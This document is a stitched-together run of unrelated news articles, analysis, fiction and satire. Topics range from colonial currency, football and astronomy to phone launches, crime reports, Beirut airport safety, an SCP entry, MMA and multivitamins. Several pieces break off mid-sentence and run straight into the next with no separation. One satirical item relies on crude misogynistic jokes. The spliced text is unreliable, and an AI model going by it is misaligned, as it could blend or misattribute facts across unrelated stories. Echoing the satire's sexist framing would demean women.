Franklin, our national symbol of thrift, was a strong advocate of paper money, which to some represented economic irresponsibility. He argued to the English Board of Trade that the colonial economy could not survive on coins alone. But the dramatic fluctuations in the value of colonial currency - not to mention the confusion caused by all the different notes - worked against the interests of British merchants. In 1764, Parliament passed the Currency Act, which prohibited any further issue of American paper money. Like the Stamp Act the following year, this attempt to impose control over the colonies succeeded only in uniting them in protest.
Maryland, July 26, 1775, front
Maryland, July 26, 1775, backJosé Mourinho accused Antonio Conte of trying to humiliate him as he endured his worst defeat in English football on his return to Chelsea, and tensions spilled over into the tunnel post-match as back-room staff members of both clubs clashed.
Manchester United conceded after just 30 seconds to Pedro Rodríguez and succumbed 4-0 at Stamford Bridge, potentially losing their centre-half Eric Bailly to a serious knee injury en route, with Mourinho berating his team’s “incredible mistakes” at the back. The Portuguese had been infuriated by Conte’s attempts to whip up the home support after N’Golo Kanté scored Chelsea’s fourth goal, and confronted his opposite number as they shook hands at the final whistle.
Mourinho, speaking in Italian, appeared to tell Conte he should behave like that “at 1-0, not at 4-0”, and suggested he had actually been seeking to humiliate him in front of his former fans. Conte denied that had been his motivation, explaining post‑match that he had simply been seeking to generate a positive reaction from the crowd after his team’s most impressive performance to date under his stewardship. However, when a member of the United coaching staff ignored Conte’s outstretched hand as they turned to retreat down the tunnel, it provoked a heated argument with a member of the Italian’s own back-room team.
Both managers chose not to elaborate on their post-match conversation to the media, but neither denied the version of events, picked up on Italian television, when it was put to them. “I think that a private conversation must remain private,” Conte said. “If someone discover something, OK... but for me the private conversation remains private.
“I think that, today, it was right to call on our fans in a moment when I could only hear the supporters of Manchester United [singing] at 4-0. So I called the fans to give the players a great clap after this kind of performance. The players deserved that.
N’Golo Kanté’s solo strike seals Chelsea’s rout of Manchester United Read more
“We live with emotions. If you want to cut the emotions, we can stay at home and I will change jobs. It’s important for our fans to push in every moment of the game. When the players deserve it after this performance, it’s right to receive a great clap from the fans.”
Mourinho had regularly called upon the crowd at Stamford Bridge to be more raucous in his second spell at the club, which ended with his dismissal in December 2015 when his ailing team were hovering a point above the relegation zone.
“You know me: I spoke to Conte, not to you,” the United manager said when asked about the incident. “I’m not the kind of guy to come here and share with you things I don’t want to share. What is between me and Antonio is for us... or up to him to talk if he wants to. That is his problem. I have no comment.”
United, who have not won in London for 17 months, are five points worse off after nine games than they were under Louis van Gaal last season. “I’m not disappointed with the performance, but with the mistakes,” Mourinho said. “If we could delete the defensive mistakes, the performance was good. But when my teams have perfection in their defensive performances, people say that is not important. But the reality is that it is important.
“We made an incredible defensive mistake, I say incredible in capitals, in the first minute and then the game is different. It is one of those days when you give the advantage to opponents by doing nothing.
“We put ourselves in a situation where we gave Chelsea the game they wanted to play: the block compact and low, as it was in the second half, and wait for the chances on the counter-attack. Football matches start at |
the discoverer of infrared light, Sir William Herschel. It was named after the constellation in which it is found, and is part of a cluster of galaxies known as the Sculptor group. The Sculptor galaxy can be seen by observers in the southern hemisphere with a pair of good binoculars. NGC 253 is an active galaxy, which means that a significant fraction of its energy output does not come from normal populations of stars within the galaxy. The extraordinarily high amount of star formation occurring in the nucleus of this galaxy has led astronomers to classify it as a "starburst" galaxy. At a distance of approximately 10.5 million light-years away, NGC 253 is the closest starburst galaxy to our Milky Way Galaxy. However, the starburst alone cannot explain all the activity observed in the nucleus. One strong possibility is that a giant black hole lurks at the heart of it all, similar to the one that lies at the center of the Milky Way. In late September of this year, after surveying the sky about one-and-a-half times, WISE exhausted its supply of the frozen coolant needed to chill the longest-wavelength detectors -- the 12- and 22-micron channels. The satellite is continuing to survey the sky with its two remaining detectors, focusing primarily on asteroids and comets. Read more about this survey, called the NEOWISE Post-Cryogenic mission, at jpl.nasa.gov. Image Credit: NASA/JPL-Caltech/WISE TeamUpdate: LG has officially launched the LG V30 Plus in India. The handset arrives in Aurora Black and Cloud Silver color options — though others may be available later — priced at ₹44,990 (~$699), and it will be sold exclusively through Amazon.in. LG has officially launched the LG V30 Plus in India. The handset arrives in Aurora Black and Cloud Silver color options — though others may be available later — priced at ₹44,990 (~$699), and it will be sold exclusively through Amazon.in. The LG flagship, which bears a striking, 6-inch QHD+ display, is set to be released in the region on December 18, but pre-orders for it will go live from tomorrow. Check it out over at Amazon here and head below for our previous coverage on its release in India.
LG released two versions of its LG V30 flagship this year… kind of. The LG V30 Plus is the same phone as the LG V30, but it has 128 GB of storage instead of 64. It’s common for manufacturers like LG and Samsung to offer a few storage options for their devices, but somewhat uncommon to give them different names when that is the only difference.
Up until now, fans in India had been unable to get their hands on the LG V30 Plus unless they imported it from another country. Importing a device is less than ideal because it can lead to issues with cellular bands and warranties. Luckily, those issues will be a thing of the past as of December 13 when LG officially unveils the V30 Plus in the country.
Editor's Pick P-OLED vs IPS LCD display technology explained Cutting edge display technology has been a central feature of flagship smartphones in recent years. The LG V30 arrived late last year with yet another innovation in screen tech: new panel type called P-OLED. With Samsung …
As a reminder, the LG V30 and LG V30 Plus have a 6-inch, 2880 x 1440 pOLED display. The processor of choice is the Qualcomm Snapdragon 835. It’s paired with 4 GB of RAM and 64 GB of storage that can be expanded via a microSD card. The battery has a capacity of 3,330 mAh and supports Quick Charge 3.0.
The LG V30 is one of the last phones to not only have a headphone jack, but push its functionality. It has a Hi-Fi quad DAC designed to make your music sound even better with wired headphones. The phone also has water and dust resistance, wireless charging, Bluetooth 5.0, and a dual 16 MP + 13 MP rear camera setup.
While we don’t have pricing details right now, LG is holding an event next week to officially launch the phone. We expect to find out then how much it’ll cost and will bring you those details once we get them.Real-time view data is not available at this time. Learn more.
Can't we just give the new Ghostbusters a chance? Female ghosts seem to think so!
Actor Cameron Esposito Writer Cameron Esposito Actor Rhea Butcher Actor Mary Holland Actor Ele Woods Writer Gilli Nissim Executive Producer Ben Sheehan Producer Libby de Leon Cinematographer Carissa Dorson Costume and Wardrobe Jordy Scheinberg - Wardrobe Stylist Editor Kevin Mead
Host- Cameron Esposito
Amelia Earhart- Rhea Butcher
Harriet Tubman- Sam Jay
Annie Oakley- Mary Holland
Cleopatra- Ele Woods
Ep- Ben Sheehan
Producer- Libby de Leon
Writer- Gilli Nassim
DP- Carissa Dorson
1st AC- Chris Oeurn
Gaffer- Aaron Pagniano
Key Grip- Rene Yescas
Make Up - Rachael Vang
Hair - Dani TyGr
Wardrobe- Jordy Scheinberg
Art Designer- Taylor Slingerland
Art Assistant- Maxine Shepard
Sound- Leo Nasca
PA- Connor GlassRobin Lehner’s shaky start to his tenure as a member of the Buffalo Sabres has continued.
Lehner left Buffalo’s season-opening contest against the Ottawa Senators — his former team — halfway through the second period with what appeared to be a left knee injury. The team is stating it’s a lower-body injury. He was seen after the game on crutches, and in a walking boot.
In his post game press conference, head coach Dan Bylsma said that Lehner’s status is not “day-to-day”, and that it doesn’t appear to be a short term issue.
The injury occurred when Lehner attempted to turn back in front of the Buffalo net from the side.
Lehner’s first official start for the Sabres was rocky at first as he gave up a goal on the first shot he faced just 30 seconds in. He settled down after that, stopping the next 11 shots he faced.
Backup goaltender Chad Johnson came on in relief of Lehner, and quickly gave up a goal to Ottawa’s Kyle Turris. If Lehner ultimately misses any extended period of time, Buffalo will have to rely on Johnson, making a shaky goaltending situation even shakier. Andrey Makarov would likely be the call up from AHL Rochester should the Sabres need to go that route for a back up goaltender.
There is also the possibility of Buffalo looking outside the organization for a goaltender.
Lehner was one of Buffalo’s key acquisitions over the summer when general manager Tim Murray traded away a first round pick for him and veteran forward David Legwand. Thursday was Lehner’s first regular season action since February, and there’s no doubt that the end result of the day is disappointing, to say the least.
The Sabres ultimately lost to the Senators 3-1. On a positive note, top prospect Jack Eichel tallied his first career goal with a power-play tally in the third period.SAN FRANCISCO — An Uber driver suffered facial injuries when a passenger assaulted him as he drove through San Francisco early Sunday morning, police said Friday.
Police said officers responded a short time before 2 a.m. Sunday to Kaiser Permanente Medical Center in San Francisco’s Anza Vista neighborhood after the driver, who works for popular transportation network Uber, reported the assault while he sought medical assistance. The man was being treated at the hospital for injuries to his face suffered in the attack, police said.
The victim told the officers that he picked up two males and a female passenger in downtown San Francisco, then headed near Polk and Sutter streets, where a male and a female passenger exited his vehicle after paying their portion of the fare.
The remaining passenger requested to be driven to the area of 18th Avenue and Clement Street in the city’s Central Richmond neighborhood.
Police said the driver complied and was heading to his final destination when the passenger suddenly moved from the rear seat to the front of the car and attacked him, police said.
The driver stopped the car and tried to get out, but was unable to unfasten his seatbelt before the suspect got out of the vehicle and fled the scene, police said.
Police said the driver’s description of his attacker matched the description of a person being detained by other police officers at 18th Avenue and Clement Street in a separate incident.
According to police, the victim in the other incident suffered a broken nose as well as other injuries to their face.
Police arrested the suspect on suspicion of aggravated assault and booked him into San Francisco County Jail.
Officers at the San Francisco Police Department’s Richmond and Park stations Friday said the suspect’s name was not immediately available.
Copyright © 2014 by Bay City News, Inc. … Republication, re-transmission or reuse without the express written consent of Bay City News, Inc. is prohibited.Add the current situation of Beirut’s airport to the growing (and endless) list of complete failures that Lebanon’s governments can add to their achievements: the airport is not only unsafe for air travel anymore, it’s become so dangerous that an air disaster not happening already is nothing short of a miracle.
To fix the trash crisis that their ineptitude caused, Lebanon’s government saw it fit to build a landfill which almost literally borders the airport wall, south of Beirut, calling it the Costa Brava landfill. As physics and common sense have it, establishing a landfill that close to the airport (or any airport for that matter) doesn’t come without repercussions.
Apart from the toxic fumes that could damage airplane engines and our lungs, as well as the hotter air that emanates from the landfill which could disrupt aviation, the birds attracted to the landfill could literally cause airplanes to crash. The government is aware of this problem so they installed ultrasonic bird repellers, which obviously don’t work.
This almost happened yesterday with an MEA plane, as reported by LBC, that was faced with a flock of seagulls as it was landing, leading the western runway the plane used to be closed until the birds were dealt with. How did the government respond? By increasing the numbers of ultrasonic bird repellers that, as established, don’t work.
I guess the only way they’ll do something is by a plane crashing and hundreds of people dying. You know, that’ll be the best way for them to proclaim they’re doing something and go to the victims’ funerals, shake the hands of their families and have their coffins draped in our flag.
You see, while the movie “Sully” in which Tom Hanks, playing the true story of airlines pilot Chelsey Sullenberg whose plane got hit by birds as it took off form New York, causing both engines to fail and leading him to land the plane in the Hudson river, was a riveting Hollywood story, things almost never play out that way. Are we counting on countless miracles to keep our airport running?
An anonymous source inside Beirut’s airport confirmed this saying that: “If the International Air Transport Association (IATA) were to show up at Beirut’s airport unannounced, the place would be closed down in a matter of hours. This is how unsafe things have become.”
It doesn’t stop there. He says that aviation has become so hazardous that “it’s a miracle how a crash has not occurred already. We literally hold our breaths every time a plane departs or lands.” Why hasn’t this made the media rounds yet? Because “airport officials are trying to hide it.”
I guess our safety and our lives are not worth anyone getting a headache over a media scandal. A plane crash is much easier to brush by, isn’t it?
Beirut’s airport is not only unsafe to use, it’s going to get us killed if we keep using it. The troubling part is that this is our only airport. The horrifying part is while our government is aware of this, they choose not to act out on it because, as we do things in Lebanon, we cross our fingers and hope for the best. Well, not this time.thepaul
UNAUTHORIZED ACCESS WILL RESULT IN TERMINATION This is a classified document. Only Level 4 Personnel may access this file PLEASE DO NOT TOUCH THESE PAGES WITHOUT STAFF PERMISSION
Item # : Scp-2132
Object class : safe pending classification
Special containment procedures : SCP-2132 Cannot be effectively blocked out from the outside world due to it existing in cyberspace without alerting everday users however individual ip addresses may be blocked simultaneously via project EPSilon-654 designed to simulate a DdoS attack by rendering upto [DATA EXPUNGED] devices incapable of accessing the site. Further containment procedures are pending approval
Description : SCP-2132 is an online repository of every document that was ever written (printed or otherwise) made available to be downloaded in a pdf format file which displays no anomalous behaviour. The site itself is harmless but it's ability to generate a digital copy of every document without that document being scanned initially is by far the most damaging effect that has been observed. The site is capable of providing a basic search functionality which allows the user to look up a document and a simple button on the document's page marked only as download. Moreover it appears that the site is able to access the subconscious of the person in order to determine the most relevant search result therby allowing the user to exactly find what they were looking for without omission. Several eyes-only documents were found in the site even though no one except only the high ranking personnel had viewed them which eliminates the probability of them being scanned. It is due to this property of SCP-2132 it is currently pending reclassification to keter.
Note: Well atleast it is free. I mean to download every book that was ever written for free!. This site requires a DMCA takedown not us. - Dr Rights
Addendum : Please focus on the containment and do not take this issue lightlyTibetan spiritual leader the Dalai Lama had an emotional reunion on Sunday with one of the five Assam Rifles guards who escorted him to India during his escape from Tibet in March 1959.
The Dalai Lama embraced retired jawan Naren Chandra Das at an interactive session organised at the Namami Brahmaputra River festival by the Assam government in Guwahati.
“Thank you very much.... I am very very happy to meet such an old member of the Assam Rifles who guarded and escorted me to India 58 years ago,” a visibly emotional Dalai Lama said on the occasion.
“Looking at your face, I now realise I must be very old too,” he said to Das in jest.
Tibetan spiritual leader the Dalai Lama embraces Naren Chandra Das, a retired havildar of the Assam Rifles, at the Namami Brahmaputra festival in Guwahati on Sunday. ( PTI )
Dressed in his Assam Rifles uniform, the 76-year-old Das, later told PTI that he had escorted the Dalai Lama as his armed guard in 1959, two years after joining the force in 1957.
At that time, he was posted at Lungla near the China border after completing his training at Tawang in Arunachal Pradesh, he said.
“Guards of Assam Rifles Platoon no. 9 had brought the Dalai Lama from Zuthangbo and handed him over to five of us at Shakti. We brought him to Lungla from where he was escorted on his onward journey to Tawang by another group of guards,” the retired jawan said.
Asked whether he had any interaction with the Dalai Lama during that journey, Das said they were not allowed to talk or interact with him. “Our duty was only to guard and escort him during a part of his journey.”
He said he was overwhelmed by the warmth in his embrace.
Asked what the Dalai Lama whispered in his ears while they embraced, he replied, “He was happy to see me.”
The Dalai Lama also presented a silk shawl to the guard.
For the Assam Rifles, he also signed an old photograph of his during his journey into India.
Assam Rifles director general Lt Gen Shokin Chouhan was also present on the occasion.
First Published: Apr 02, 2017 19:33 ISTIn a stunning announcement today, scientist have revealed that the behavior of men sitting with their legs far apart, known as ‘manspreading’, is actually not at all their fault.
“It’s conclusive, the science is clear. I mean, look at the shirt I’m wearing!” claimed Jerry Turgid of the Los Alamos Testicular Research Laboratory. “Our results have been peered reviewed and in every case, in every country, we have found that when we simulate a women with PMS near our test subject, the manspreading occurs.” When asked why the effect is simulated Mr. Turgid seemed stunned, replying “What? You mean actually let a woman into the fucking lab? Are you serious?” He went on to say, in apparent good humor, that there was no need to bring in a live sample due to safety concerns for the workers.
Scientists at the lab, located just outside Albuquerque, New Mexico believe the test subjects are reacting to the simulated bitching and moaning by slouching, thereby causing the legs to part further than normal. “It’s a sign of how modern men are resigned to it all. They know they cannot do anything about it, so they just sit there defeated. With they’re legs wide open.” Turgid added.
Mr. Turgid went on to say that there is some speculation that this behavior is to allow the PMSing woman better access to the obvious target of her bitching, that being the man’s junk. “We’ll never know, I think. With this new data far too many scientists are getting out of looking into this, it’s just too dangerous.” When asked if a female scientist might continue the work, Mr. Turgid asked “A female what?”.Why the ISI is roping in Hindus to destabilise India
India
oi-Vicky
By Vicky
Investigations conducted into the telephone exchange racket involving an Inter-Services Intelligence module has surprised officials as the 24 accused in the case belong to the Hindu community. This shows the extent of the ISI's penetration into India, officials say while also adding that money has gone beyond religion.
The ISI, known to sponsor religious fanatics in India has relied on Hindus to run their espionage racket, officials say. The ISI was also known to lure disgruntled Muslims for their activities, but in the present case, it appears as though the modus operandi has changed. The ISI has been tapping people irrespective of their religion and are luring youth with money, officials say.
After the Madhya Pradesh ATS busted this module, it was found that all the 24 youth part of this racket were Hindus. During the probe all of them said that they decided to be part of this module as they were paid good amounts.
[Spying ring: Major module busted in Madhya Pradesh]
The ISI feels that by roping in members of the Hindu community, there would be less suspicion. "This would in turn help the members dodge the Indian agencies. This pattern is not restricted to the espionage module alone," says an official. Investigations being conducted by the NIA in the train derailment case also showed that all the four accused persons arrested in Bihar were Hindus. The prime accused Shamsul Hoda had roped in Hindus so that the suspicion would be less, investigations have also revealed.
[ISI's train terror shows how intact its network is]
"It is a disturbing trend," says and officer with the NIA. In all cases, the accused have said that they were lured with money. There is no ideology here the accused persons said. 'We were promised large sums of money and a good life and hence we bit the bait,' the accused persons had said.
OneIndia NewsA West Garfield Park man who was found on a Lakeview CTA platform with a loaded AK-47 rifle strapped to his chest tried to conceal the weapon by wearing a gray hooded sweatshirt, authorities said Sunday.
Jordan Watkins, 29, was arrested Saturday morning and ordered held on $150,000 bond Sunday by Judge Maria Kuriakos Ciesil at the Leighton Criminal Court Building. He was charged with felony unlawful use of a weapon by a parolee and felony armed habitual criminal issuance of warrant. Watkins is currently on parole in an unrelated case.
Officers responded to reports of a person with a gun on the CTA platform, 945 W. Belmont Ave., near Sheffield Avenue, and Watkins was found with a loaded rifle strapped to his chest and two magazine clips in his bag, prosecutors said. He was arrested about 6:25 a.m., according to police.
The stop serves the Red, Brown and Purple lines.
Family members say Watkins was diagnosed with bipolar disorder and schizophrenia as a child and is in need of medical attention. Octora Adams, 51, said her son was the victim of a shooting last month and was probably carrying the gun in self-defense.
“My son doesn’t just walk around with a gun. He is mentally disabled. That’s why I’m here in his defense,” Adams said. “I’m just thankful the police didn’t shoot him down when they found him. I’m thankful my son is alive.”
Adams said her son was shot once in the back and once in the arm near Chicago and Ridgeway avenues on June 17. A 29-year-old man suffered those injuries at that location on that day, according to police.
Watkins, of the 4600 block of West Adams Street, was released on parole in August 2016 after serving three years in prison as part of a six-year sentence for a 2013 armed robbery case, according to state records.
Prosecutors filed a motion to monitor the source of Watkins' bail because they say he is a member of the Traveling Vice Lord street gang.UFC middleweight champion Michael Bisping (29-7; 19-7 UFC) has been one of the UFC’s mainstays for the past decade. He introduced himself to fans as the winner of The Ultimate Fighter 3 back in 2006 and almost single-handedly powered the UFC’s first round of international expansion in the salad days of the late 2000s, fighting on six cards in his native United Kingdom between 2007 and 2010 as it turned into a reliable overseas market for the promotion.
In the process, Bisping became one of the UFC’s most compelling villains. He has talked a truly remarkable amount of trash over the years and, in his lowest moment, spat at his opponent Jorge Rivera’s corner after winning a fight in 2011. The fact that he scored the knockout victory after rocking Rivera with an illegal knee to the head was seen as generally emblematic of his personality.
Michael Bisping reacts after defeating Luke Rockhold at UFC 199 on June 4, 2016. (Jayne Kamin-Oncea/Getty Images)
Despite the consistent and well-earned opprobrium from many fans, Bisping has always oozed charisma and personality, and he has fulfilled the prizefighter’s main goal: making the crowd care about his fights, whether they were rooting for him or hoping he’d get knocked out. Even if he could never quite break through to the ranks of the division’s elite, his notoriety and value to the UFC were still major accomplishments.
What has been less appreciated about Bisping’s long and productive career are the consistent improvements he’s made over the years.
There are good reasons Bisping was able to upset the heavily favored Luke Rockhold back in June to win the middleweight title, and it’s not a coincidence that the 37-year-old veteran is showing his best stuff now. Why? What has changed to turn a career gatekeeper, if a compelling personality, into the top-ranked middleweight on the planet?
[How Michael Bisping beat Luke Rockhold and shocked the UFC world]
Bisping’s ascent to the top is a lesson in the importance of small changes. Bisping isn’t a drastically different fighter than he was five years ago. His core competencies remain the same, but he’s sharper and better able to impose his preferred game.
At heart, Bisping is a classic outside fighter. He moves through the cage at long distance, picking his spots to dart into striking range behind a crisp jab and a sharp right hand and then getting out of distance before his opponent can hit him back. Pace is the best part of this approach, and Bisping piles up shots and forces his opponent to work and work until he tires. As his opponent slows down in the third and fourth round, Bisping picks up his work rate and pours on the offense, landing shot after shot after shot until he either wins a decision or his opponent quits.
The key to all of this is Bisping’s preference for engaging his opponent on his terms. Above all, he wants to be the one dictating when and where he strikes.
Not all fighters are this choosy – many are happy to let their opponent dictate the action, and then respond – but it makes perfect sense for a disciplined fighter like Bisping, who relies on technical craft and cardiovascular fitness more than raw explosiveness, athleticism or power. He’s very nearly a parody of the stereotype of the physically underwhelming but durable and hardworking blue-collar athlete, and tightly controlling the terms of engagement is essential to that approach.
This has always been Bisping’s game, but in the past he struggled with two kinds of opponents: pressure fighters who could take away the space he needs to operate, and big punchers who could exploit his porous defense and reliance on distance to avoid his opponent’s shots. In other words, Bisping struggled when opponents tracked him down, got in his face, and threw heavy leather.
That happens a great deal less now. Why? Two reasons: improved footwork and an increased willingness to exchange punches with his opponent in the pocket.
Let’s take a look at footwork first. Bisping always moved a great deal, but more isn’t necessarily better. Too much movement can take a fighter out of range of his opponent or expose him to danger as he tries to escape. Bisping moves less now, but his pivots are sharper, which keeps him closer without sacrificing his defensive responsibility. This also provides more angles from which he can attack.
Here’s an example from Bisping’s fight with Anderson Silva last February:
Bisping steps in with a left hook that clips Silva and then pulls back out of range to avoid Silva’s right-hook counter. When Silva stumbles, Bisping steps back in with a straight right and another left hook, both of which land flush on Silva’s chin. Bisping steps back again to reestablish a safe distance, but pounces when Silva falls.
The thing to note here is how short each of Bisping’s steps is. He doesn’t pull back any further than he has to in order to avoid the counters and stay out of the danger zone, and he’s still close enough to capitalize when Silva makes a mistake.
Here’s a great example from the Rockhold fight in June. From the overhead view, we get a perfect look at Bisping’s footwork:
Bisping is circling, trying to get his lead foot to the outside of Rockhold’s. This is called the “outside angle”, and it does two things: first, it shortens the path for the right hand, and second, it makes it harder for the opponent to see it coming. In order to get that outside angle, Bisping is taking small steps with his left foot and then pivoting to bring his right foot into place behind him. This sounds basic, but it’s not easy to make it look this fluid while standing this close to a dangerous opponent.
The outside angle is the reason Bisping is able to plant his counter right hand on Rockhold’s chin when Rockhold tries to throw the kick. Rockhold is too close for it to land effectively, but Bisping’s right hand is on the money. That’s thanks to his footwork. Bisping ends the sequence by stepping, pivoting, and throwing a jab to establish his preferred distance and his dominant angle.
Here’s another sequence from his fight with Silva that shows both Bisping’s footwork and how it plays together with his pace and ability to wear down his opponent:
This is classic Bisping in late-round, turned-up mode. He takes very small steps to establish the outside angle while probing with his lead hand and opens up with a left hook when Silva’s back hits the fence. It doesn’t land, but the jab and right hook that follow connects cleanly. Bisping dances back out of range to avoid a counter, but when Silva makes no attempt to get off the fence, the Englishman steps back in with a jab-cross-hook combination.
Note, for all of these strikes, how short and efficient Bisping’s accompanying footwork is. He establishes dominant angles from which to throw and never moves further than he has to, which leaves him in position to keep the pressure and the workrate high.
The second improvement to Bisping’s game is his willingness to exchange. In his younger years, Bisping avoided exchanges like the plague. After all, he wanted to be sticking and moving on the outside, not trading punches with opponents who were invariably harder hitters with harder chins.
Yet now he’s taken the seemingly counterintuitive step of embracing exchanges. Why? How does this help him?
Even if his opponent is more dangerous in that range, Bisping is telling his opponent that he can’t be pressured with impunity. Counters also force his opponent to give him room, which allows Bisping to escape away from the fence into the open space at the center of the cage where he prefers to operate.
Let’s take a look at some examples. Here’s one from his fight with Rockhold:
Bisping steps in with a jab and narrowly avoids Rockhold’s counter right hook. This is where the old Bisping would have crumbled in the face of Rockhold’s pursuing jab-cross combination and run himself right into the fence.
The new Bisping, however, sticks a series of backpedalling jabs in Rockhold’s face as he retreats. Sensing the fence behind him, he plants his feet and launches a straight right-left hook combination as Rockhold enters the pocket. He moves his head to avoid Rockhold’s counter right hook, and then cuffs him with a right hook of his own to finish the exchange. The.GIF doesn’t show it, but Bisping used the space that right hand provided to circle back to safety in the middle of the cage.
Here’s one last exchange, this one from the Silva fight:
Silva pursues Bisping. The moment he gets into range, Bisping fires off a right hand and then follows with a push kick in an attempt to force Silva back to a manageable distance. Silva stays in the pocket, however, so Bisping unleashes a jab-cross-left hook combination and tries to use it as an opportunity to pivot out and get off the fence.
The Brazilian sticks with him, however, and Bisping once again plants his feet, this time clocking Silva with a flush left hook and straight right that stagger the former champion. Now Bisping pursues, avoiding Silva’s right hook while missing with his own shots. Note how Bisping finishes the exchange with another push kick to reestablish his preferred long range.
Better footwork and the willingness to exchange don’t seem like huge changes, but they have turned a competent, charismatic gatekeeper into the middleweight champion of the world.
The footwork allows Bisping to be more efficient and push an even quicker pace than he did before while providing better angles from which to throw; the exchanges make it more difficult for opponents to take Bisping out of his preferred game. Put them together, and you get a champion.
Patrick Wyman is a mixed martial arts scout who’s earned his PhD. He hosts the Heavy Hands Podcast and contributes analysis to The Post.
More MMA:
The guy at the suburban Baltimore gym is an MMA superstar 8,500 miles away
More analysis by Patrick Wyman | Boxing/MMA home pageThis article is over 2 years old
Australian Medical Association president says there is a lack of evidence showing multivitamins work
Multivitamins a waste of money and just create'very expensive urine'
Vitamins are useful for treating specific deficiencies but most people who use multivitamins just have very expensive urine, the Australian Medical Association president, Michael Gannon, says.
Seven out of every 10 Australians take some form of vitamin or supplement but experts have questioned their efficacy and the shelf space they dominate in pharmacies.
Adjunct Associate Professor Ken Harvey from the department of epidemiology and preventive medicine at Monash University told the ABC’s Four Corners program there’s little evidence to suggest multivitamins actually work.
Unproven alternative medicines recommended by third of Australian pharmacists Read more
Buying multivitamins benefits the companies that manufacture them by boosting profits, but for the average Australian multivitamins provide “no benefit”.
“What you need is a good diet, you’re pissing the money down the toilet for no benefit,” he told the program.
However, the Australian Self Medication Industry says complementary medicines are useful because many Australians have poor diets.
“Vitamin and mineral supplements can play an important role for the 52% of Australian adults who do not eat the recommended intake of fruit or the 92% who do not eat the recommended intake of vegetables each day,” the ASMI said in a statement.
A recent investigation by consumer group Choice found one in three Australian pharmacists recommended alternative medicines to treat stress.
Nearly half, 46%, recommended products containing a mixture of B vitamins and possibly other vitamins, minerals and herbs.
Twenty-six percent recommended Bach flower remedies to treat stress and about 8% recommended magnesium supplements.
The AMA is concerned that many products, such as Bach flower, are given legitimacy, despite a lack of evidence showing they work, simply because they are sold in a pharmacy.
It’s known folate plays an important role during pregnancy and iron supplements are prescribed for those who are anaemic, but most doctors consider multivitamins a waste of money.
“What a lot of Australians have is very expensive urine,” Gannon said.
The Therapeutic Goods Administration is pushing for reform which would create a new class of evidence-based complementary medicines. This would mean products would carry some form of indication that the product had been tested for safety and efficacy.
“The new reforms will support Australian consumers make informed choices about the use of complementary medicines and help protect consumers from potentially misleading therapeutic claims,” the TGA said in a statement.We already carry smartphones – do we actually need wearable computers or are they just a fashion faux pas?
The first surprising thing about Google Glasses is that anybody thinks this is a new idea (just have a look at this history of mobile augmented reality). Steve Mann, a Canadian known as the father of wearable computing, has been developing systems since the 1980s with obvious industrial, medical and military applications. One example is the Battlefield Augmented Reality System, where having information overlayed on your view of the world could be a matter of life and death.
The second surprising thing is that we aren't all wearing computerised glasses already. In a 2001 Guardian article titled "From man to borg – is this the future?", I quoted a wearable computers website claim that "large scale acceptance of wearables in the general consumer market will surge in about 2005. By 2015, wearables will have virtually eliminated desktop, laptop, and handheld solutions altogether". That turned out to be over-optimistic.
Early users of wearable computers with head-mounted displays considered it a triumph if people didn't cross the street to avoid them. If they needed to carry a GPS unit, an accelerometer and a video camera as well as a computer, it was a rucksack of extra baggage.
Today, however, most of us carry a mobile internet computer terminal that packs all of these capabilities into one light, pocketable device. It's called a smartphone.
The one thing we don't have is the head-mounted display, which is the problem Google Glasses (which take signals from a Google Android smartphone) can solve.
But Google is just one of hundreds of companies working on similar ideas. Interestingly, Apple was applying for patents on head-mounted displays in 2008, and later it hired wearable computing veteran Rich DeVaul. So your iGlasses may be coming.
The tricky questions are whether anyone actually wants a head-mounted display. If you were a soldier, for example, you would want to know if there were snipers hiding behind a wall, and if you could bring in a drone (pilotless aircraft) to fire at them. As a pedestrian crossing the street, the sudden appearance of a special offer from a nearby carpet retailer might have less happy consequences (since this is Google, you can bet ads are part of the master plan).
There's a much simpler way to do augmented reality: just hold up your phone and turn on the camera. Plenty of apps already do that, and here are 40 of the best.
Google's glasses rely on information fetched from the internet but there's no reason why extra data cannot be provided by government buildings, pubs, bus stops, advertisement hoardings and other street features that can talk to most smartphones by a variety of means – Wi-Fi, Bluetooth, RFID (radio frequency identification) chips, NFC (near field communications) etc – to create smart places.
In the future, "augmented reality" is going to meet an augmented reality, as the virtual and physical worlds combine. This is, inescapably, the way technology is going. Whether Google Glasses will be part of that future remains to be seen.Professionals with working-class backgrounds make, on average, 6,800 pounds, or about $8,400, less a year than their colleagues from more privileged families.
The study attributed some of that difference to education and other factors, but it also found that those from working-class families who have exactly the same occupational role, education and experience as their colleagues from more advantaged backgrounds are still paid, on average, 2,242 pounds, or about $2,800, less a year. The study found the gap was especially wide in the financial and medical professions.
The class pay gap is worse for women and people from minority-ethnic backgrounds, according to the research, which was carried out for the commission by the London School of Economics and University College London. The study looked at data from nearly 65,000 people drawn from the U.K. Labor Force Survey.
One reason for the pay disparity, the study suggested, is that children of professional families are more likely to work for larger companies and in London, where salaries are higher. Another is what it called “cultural matching,” whereby those making the hiring decisions extend job offers to those with whom they feel comfortable based on social and cultural traits.
That, of course, is another form of what the study calls “outright discrimination or snobbery.”
Tim Farron, the leader of the Liberal Democrat party, said the report “exposes the gaping class divide at |
Fellowship, and to 3,600 pastors at a conference at Rick Warren's Saddleback Church in Lake Forest.[43] From the summer of 2003 to the film's release in February 2004, portions or rough cuts of the film were shown to over eighty audiences—many of which were evangelical audiences.[44] Gibson received numerous public endorsements from evangelical leaders, including Billy Graham, Robert Schuller, Darrell Bock, and David Neff, editor of Christianity Today.[44] Public endorsements of the film were received from evangelical leaders Pat Robertson, Rick Warren, Lee Strobel, Jerry Falwell, Max Lucado, Tim LaHaye and Chuck Colson.[45]
Release [ edit ]
Box office [ edit ]
The Passion of the Christ opened in the United States on February 25, 2004 (Ash Wednesday, the beginning of Lent). It earned $83,848,082 from 4,793 screens at 3,043 theaters in its opening weekend and a total of $125,185,971 since Wednesday, ranking it fourth overall in domestic opening weekend earnings for 2004 as well as the biggest weekend debut for a February release (until Fifty Shades of Grey was released). It went on to earn $370,782,930 overall in the United States,[2] and remained the highest grossing R-rated film in the domestic market. (U.S. & Canada).[46][47][48][49][50] The film sold an estimated 59,625,500 tickets in the US in its initial theatrical run.[51]
In Malaysia, government censors initially banned it completely, but after Christian leaders protested, the restriction was lifted, but only for Christian audiences, allowing them to view the film in specially designated theatres.[52] In Israel, the film was not banned. However, it never received theatrical distribution because no Israeli distributor would market the movie.[53]
